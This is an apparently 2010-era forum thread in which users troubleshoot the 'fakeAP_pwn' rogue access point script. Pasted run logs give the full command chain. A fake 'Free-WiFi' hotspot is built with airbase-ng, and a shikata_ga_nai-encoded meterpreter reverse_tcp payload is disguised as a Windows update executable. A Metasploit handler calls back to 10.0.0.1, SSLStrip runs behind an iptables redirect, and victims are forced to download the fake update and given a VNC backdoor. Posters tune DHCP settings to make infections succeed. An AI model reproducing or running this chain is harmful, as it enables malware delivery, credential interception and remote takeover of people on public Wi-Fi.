Does this mean my airbase-ng is broken or airbase-ng in general is broken.
If it's mine can I just re-install airbase-ng?
Hm.. My "victim" dosent get any IP from the DHCP..
Injection and monitor works on wlan0 and mon0.
I use a rtl8187 based card, with mac80211.
Output:
Any clues?Code:[01;36m[*][00m g0tmilk's fakeAP_pwn v0.3-RC12 [01;32m[>][00m Checking environment... [01;33m[i][00m ESSID=Free-WiFi [01;33m[i][00m fakeAPchannel=6 [01;33m[i][00m interface=eth0 [01;33m[i][00m wifiInterface=wlan0 [01;33m[i][00m monitorInterface=mon0 [01;33m[i][00m payload=vnc [01;33m[i][00m backdoorPath=/root/backdoor.exe [01;33m[i][00m metasploitPath=/pentest/exploits/framework3 [01;33m[i][00m htdocs_folder=/var/www/fakeAP_pwn [01;33m[i][00m mtu=1800 [01;33m[i][00m transparent=true [01;33m[i][00m respond2All=false [01;33m[i][00m fakeAPmac=true [01;33m[i][00m extras=false [01;33m[i][00m debug=false [01;33m[i][00m verbose=2 [01;33m[i][00m gatewayIP=192.168.32.2 [01;33m[i][00m ourIP=192.168.32.128 [01;33m[i][00m port=50981 [01;32m[>][00m Stopping services and programs... [i] Command: killall dhcpd3 apache2 airbase-ng wicd-client [i] Command: /etc/init.d/dhcp3-server stop [i] Command: /etc/init.d/apache2 stop [01;32m[>][00m Setting up wireless card... [i] Command: airmon-ng stop mon0 [i] Command: ifconfig wlan0 down [i] Command: ifconfig wlan0 up [i] Command: airmon-ng start wlan0 [01;32m[>][00m Changing MAC Address... [i] Command: ifconfig mon0 down && macchanger -r mon0 && ifconfig mon0 up [01;33m[i][00m macAddress=16:8c:9e:65:06:df (unknown) [01;32m[>][00m Creating scripts... [i] Created: /tmp/fakeAP_pwn.rb [i] Created: /etc/apache2/sites-available/fakeAP_pwn [01;32m[>][00m Creating exploit...(Windows) [i] Command: /pentest/exploits/framework3/msfpayload windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4564 R | /pentest/exploits/framework3/msfencode -x /var/www/fakeAP_pwn/sbd.exe -t exe -e x86/shikata_ga_nai -c 10 -o /var/www/fakeAP_pwn/Windows-KB183905-x86-ENU.exe [01;32m[>][00m Creating our fake access point... [i] Command: airbase-ng -c 6 -e "Free-WiFi" mon0 -v [01;32m[>][00m Setting up our end... [i] Command: chmod 775 /var/run/ [i] Command: touch /var/lib/dhcp3/dhcpd.leases [01;32m[>][00m Starting Metasploit... [i] Command: /pentest/exploits/framework3/msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4564 AutoRunScript=/tmp/fakeAP_pwn.rb E [01;32m[>][00m Starting SSLStrip... [i] Command: iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 [i] Command: sslstrip -k -f -l 10000 [01;32m[>][00m Starting DHCP server... [i] Command: dhcpd3 -d -f -cf /tmp/fakeAP_pwn.dhcp at0 [01;32m[>][00m Starting Web server... [i] Command: /etc/init.d/apache2 start && ls /etc/apache2/sites-available/ | xargs a2dissite && a2ensite fakeAP_pwn && /etc/init.d/apache2 reload [01;32m[>][00m Getting the backdoor (VNC) ready... [i] Command: vncviewer -listen [01;32m[>][00m Forcing target to vist our site... [01;33m[*][00m Waiting for target to connect... [01;32m[>][00m Cleaning up... [i] Command: ls /etc/apache2/sites-available/ | xargs a2dissite fakeAP_pwn && a2ensite default* && /etc/init.d/apache2 reload [01;36m[>][00m Done! (= Have you... g0tmi1k?
Thanks for the info!
Ill look into it!
Thanks for the info!
the output.txt file should be wherever you ran it from...
If you change it to:
bash fakeAP_pwn.sh -V > ~/output.txt
It should go into your user folder.
What does it get? 0.0.0.0? 169.x.x.x?
What is the signal strength?
What version are you using?
What is shown in the FakeAP Window? DHCP Window?
Thanks for the thanks!
and thanks for the info/hints! (=
Personally - my Windows 7 (and XP & ubuntu box) connects fine to it 95% of the time. Once twice has it said "other network".
Saying that, Joker believes airbase-ng is the reason why its "slow" for some people some of the time, and hes had a few ideas on how to change it! So its another why airbase-ng may not be used in later releases...
I'm liking the idea of "beacon from a pcap" mind you!
Thanks for the feedback guys!
Last edited by g0tmi1k; 07-09-2010 at 12:10 PM.
Have you...g0tmi1k?
Another progress report for you.. running 0.3-RC10..
* Your WiFi card + driver = alfa card, rtl8187
* Your kernel version = FRESH install of bt4 w/ 2.6.30.9
* Signal strength of the AP = 100%
* The time it takes to ping the AP = avg 23 MS
* The time it takes to ping google.com when connect to the fakeAP =avg 63 MS
*Output: No Errors
* MTU set to match my card / router at 1500.
* There is some definite inconsistency with DHCP, although after tweaking I'm successfully dishing out IP with no problem.
*The forced website redirection, download link (mirror link only, update.microsoft.com link times out), and apache servers downloads all work flawlessly on XP.
As for the exploit, both VNC and SBD are failing for me, It gets to the point of executing the .rb script.. below is the output. It never passes this...
As a note, still no AVs or firewalls on the hosts, and cache/cookies is cleared out before any of my tests. No connection, remote destop, or remote command line is made. Good luck and great work so far.
Modifications to 0.3-RC10 - Commented out Line #547
EDIT(Important) - I believe that I may have found the variable giving people such scattered results with DHCP / Limited Connectivity! I continued some testing with my windows 7(x64) box trying to duplicate the results I posted above..Code:#iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
I'v found that using a wireless-N adapter on the VICTIM computer will NOT be able to resolve with the DHCP server. For me, And my guess is many others, the repeated DHCP DISCOVER / DHCP OFFER requests are caused by incompatibility of the wireless-N card trying to connect with your injection/monitor mode compatible, B / G card which is serving the AP..
When switching out my wireless-N card for a wireless-B/G card, INSTANT SUCCESS!
Last edited by kernel831; 07-10-2010 at 07:11 AM.
Hmmmm, not sure if thats entirely true, it may be it some situations but in my case my Target PC is a Windows 7 X64 pc running a Wireless N card and it connects to the AP will full connectivity but it only gains "full connectivity" after selecting one of these options from the annoying pop up window in 7
![]()
Interesting, I just tested this and came up with the same results I posted earlier, even after changing the ESSID and selecting both home / work network locations on my win7(x64) machine. Does the card hosting your AP have wireless-N compatibility(mabey a b/g/n card)?
Also the WinXP laptop iv been testing with has a built in b/g card which supports the theory as well since its generally been working on that machine.